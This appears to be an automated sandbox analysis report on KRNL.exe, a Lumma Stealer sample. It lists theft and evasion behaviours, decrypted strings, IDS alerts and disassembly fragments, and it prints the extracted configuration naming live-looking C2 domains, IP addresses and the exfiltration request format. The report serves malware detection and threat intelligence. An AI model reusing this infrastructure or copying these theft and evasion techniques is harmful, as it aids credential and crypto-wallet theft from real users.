Edit tour

Windows Analysis Report
KRNL.exe

Overview

General Information

Sample name:	KRNL.exe
Analysis ID:	1583085
MD5:	976a25d2fed5fc7c8700588a33c6826c
SHA1:	cce0da8a52a534d6252e716f8476193587e84745
SHA256:	a9345000b80b1dd7e5ab5f1491771d39230c83311a1f1b98502f07df453ef02c
Tags:	exeuser-Raidr
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to resolve many domain names, but no domain seems valid

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

KRNL.exe (PID: 1740 cmdline: "C:\Users\user\Desktop\KRNL.exe" MD5: 976A25D2FED5FC7C8700588A33C6826C)

conhost.exe (PID: 1136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

KRNL.exe (PID: 2120 cmdline: "C:\Users\user\Desktop\KRNL.exe" MD5: 976A25D2FED5FC7C8700588A33C6826C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["rebuildeso.buzz", "hummskitnj.buzz", "mindhandru.buzz", "prisonyfork.buzz", "screwamusresz.buzz", "appliacnesot.buzz", "inherineau.buzz", "scentniej.buzz", "cashfuzysao.buzz"], "Build id": "yau6Na--629912535"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000002.00000003.1751845531.00000000033CD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: KRNL.exe PID: 2120	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: KRNL.exe PID: 2120	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: KRNL.exe PID: 2120	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: KRNL.exe PID: 2120	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.KRNL.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
2.2.KRNL.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:59.029778+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.102.49.254	443	TCP
2025-01-01T21:28:00.167445+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.157.254	443	TCP
2025-01-01T21:28:01.084272+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.157.254	443	TCP
2025-01-01T21:28:02.348216+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	172.67.157.254	443	TCP
2025-01-01T21:28:03.506865+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.157.254	443	TCP
2025-01-01T21:28:04.927121+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	172.67.157.254	443	TCP
2025-01-01T21:28:06.365717+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	172.67.157.254	443	TCP
2025-01-01T21:28:08.097129+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	172.67.157.254	443	TCP
2025-01-01T21:28:13.289406+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:28:00.594397+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49734	172.67.157.254	443	TCP
2025-01-01T21:28:01.576540+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49735	172.67.157.254	443	TCP
2025-01-01T21:28:13.765451+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:28:00.594397+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49734	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:28:01.576540+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49735	172.67.157.254	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:58.336400+0100	2058572	1	Domain Observed Used for C2 Detected	192.168.2.4	65432	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:58.358476+0100	2058576	1	Domain Observed Used for C2 Detected	192.168.2.4	58312	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:58.370472+0100	2058578	1	Domain Observed Used for C2 Detected	192.168.2.4	59352	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:58.309461+0100	2058580	1	Domain Observed Used for C2 Detected	192.168.2.4	56972	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:58.265380+0100	2058582	1	Domain Observed Used for C2 Detected	192.168.2.4	63882	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:58.277210+0100	2058584	1	Domain Observed Used for C2 Detected	192.168.2.4	65221	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:58.287510+0100	2058586	1	Domain Observed Used for C2 Detected	192.168.2.4	59317	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:58.298392+0100	2058588	1	Domain Observed Used for C2 Detected	192.168.2.4	53601	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:58.319723+0100	2058590	1	Domain Observed Used for C2 Detected	192.168.2.4	53017	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:28:07.104797+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49739	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T21:27:59.548271+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/k	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiul	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/pi#	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/m/S	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["rebuildeso.buzz", "hummskitnj.buzz", "mindhandru.buzz", "prisonyfork.buzz", "screwamusresz.buzz", "appliacnesot.buzz", "inherineau.buzz", "scentniej.buzz", "cashfuzysao.buzz"], "Build id": "yau6Na--629912535"}

Multi AV Scanner detection for submitted file

Source: KRNL.exe	Virustotal: Detection: 40%			Perma Link
Source: KRNL.exe	ReversingLabs: Detection: 68%

Machine Learning detection for sample

Source: KRNL.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--629912535

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 2_2_00414E25 CryptUnprotectData,

2_2_00414E25

Source: KRNL.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_00701FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00701FE9
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00701F38 FindFirstFileExW,	2_2_00701F38
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00701FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00701FE9

Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\.ms-ad	Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], D6EFB4E0h	2_2_0043F040
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 17265850h	2_2_004400C0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2]	2_2_0043D0D9
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then lea eax, dword ptr [esi+00003763h]	2_2_0040C08B
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx ebx, word ptr [esi]	2_2_0040A8B0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [esp+edx*2+12h]	2_2_0040C942
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9164D103h	2_2_0043F150
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_0043D9C1
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then lea edx, dword ptr [eax-00001099h]	2_2_0043B1D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [ebp+esi*8+00h], 56ADC53Ah	2_2_0043FB10
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 56ADC53Ah	2_2_0043FB10
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [esp+edx*2-00002C30h]	2_2_0040CC75
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 9AFAF935h	2_2_004404D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then lea ecx, dword ptr [eax+000071B9h]	2_2_00426520
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [ebp+eax*2-00001634h]	2_2_00423675
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [eax]	2_2_00423675
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042B841
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0042904E
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [ebp+eax*2-00001634h]	2_2_00424060
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [eax]	2_2_00424060
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then add ecx, edi	2_2_0042B00F
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+esi*2]	2_2_0043E820
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx eax, word ptr [esp+edi*2]	2_2_0043E820
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+ecx*2+08h]	2_2_0043E820
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [eax+ecx*2]	2_2_0043E820
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_004190D1
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 7F7BECC6h	2_2_0043B8A0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00422140
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then lea eax, dword ptr [esi+00003763h]	2_2_0040C158
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then lea ecx, dword ptr [eax+00000960h]	2_2_0041C119
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx eax, word ptr [esp+edi*2]	2_2_0043E920
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+ecx*2+08h]	2_2_0043E920
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [eax+ecx*2]	2_2_0043E920
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00419930
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov eax, dword ptr [ebx+edi+44h]	2_2_00419930
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edi, word ptr [esp+eax*2+10h]	2_2_00419930
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx eax, word ptr [esp+edi*2]	2_2_0043E9D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+ecx*2+08h]	2_2_0043E9D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [eax+ecx*2]	2_2_0043E9D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [eax+esi*8], 385488F2h	2_2_004291B1
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*2+28h]	2_2_00426990
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [eax+esi*8], 385488F2h	2_2_004291B1
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+ebp*2+30h]	2_2_00429A43
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	2_2_00428A4D
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx eax, word ptr [esp+edi*2]	2_2_0043EA60
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+ecx*2+08h]	2_2_0043EA60
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [eax+ecx*2]	2_2_0043EA60
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [eax+esi*8], 385488F2h	2_2_00429266
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00420A20
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then lea edi, dword ptr [edx+00001E1Eh]	2_2_0040DA8B
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [eax+esi*8], 385488F2h	2_2_00425A90
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx ecx, word ptr [esi+eax*2+4D3B4CBCh]	2_2_0040A2A6
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_0043DB39
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then lea edx, dword ptr [eax+00000960h]	2_2_0041C3F4
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [ebp+eax*2-00001634h]	2_2_00423C40
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [eax]	2_2_00423C40
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [esp+eax*2+04h]	2_2_0043B450
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [ecx+edi*8], 2DFE5A91h	2_2_0043F450
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then push eax	2_2_0043DC5E
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 4B1BF3DAh	2_2_00440400
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	2_2_00407410
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	2_2_00407410
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov dword ptr [edi], 60296828h	2_2_00424CCD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [ebx+eax*2]	2_2_00424CCD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov dword ptr [esp+04h], ebx	2_2_0042B48C
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then lea ecx, dword ptr [eax-000037DBh]	2_2_00409570
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042BD77
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then jmp edi	2_2_0040A533
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2+06h]	2_2_004285E1
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	2_2_004285E1
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2+0000028Ch]	2_2_0042D5E6
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2+40h]	2_2_0043CDF0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then add eax, 10h	2_2_004195FD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edi, word ptr [ecx]	2_2_0041BD8F
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov byte ptr [edi], bl	2_2_00408E50
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 9AFAF935h	2_2_00440650
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00421E60
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00434E60
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+ebp*2+30h]	2_2_00429630
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042BE3B
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [ebp+eax*2-00001634h]	2_2_00423EC0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [eax]	2_2_00423EC0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [esp+edx*2+14h]	2_2_004386C0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042BE86
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 138629C0h	2_2_00415E8C
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042BE9D
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 8AE4A158h	2_2_00415F4C
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx ebp, word ptr [esp+ecx*2-7B41DE5Ah]	2_2_00425770
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [esi+ecx*8], E0A81160h	2_2_00416777
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], AD68FE34h	2_2_0043FF00
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then add eax, 10h	2_2_004195FD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+esi*2]	2_2_0043E710
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx eax, word ptr [esp+edi*2]	2_2_0043E710
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx edx, word ptr [esp+ecx*2+08h]	2_2_0043E710
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx esi, word ptr [eax+ecx*2]	2_2_0043E710
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov word ptr [ebx], cx	2_2_0041B729
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00429F80
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], E81D91D4h	2_2_0043F780
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 4x nop then movzx ebx, word ptr [esp+edx*2+28h]	2_2_004177AD

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058588 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz) : 192.168.2.4:53601 -> 1.1.1.1:53
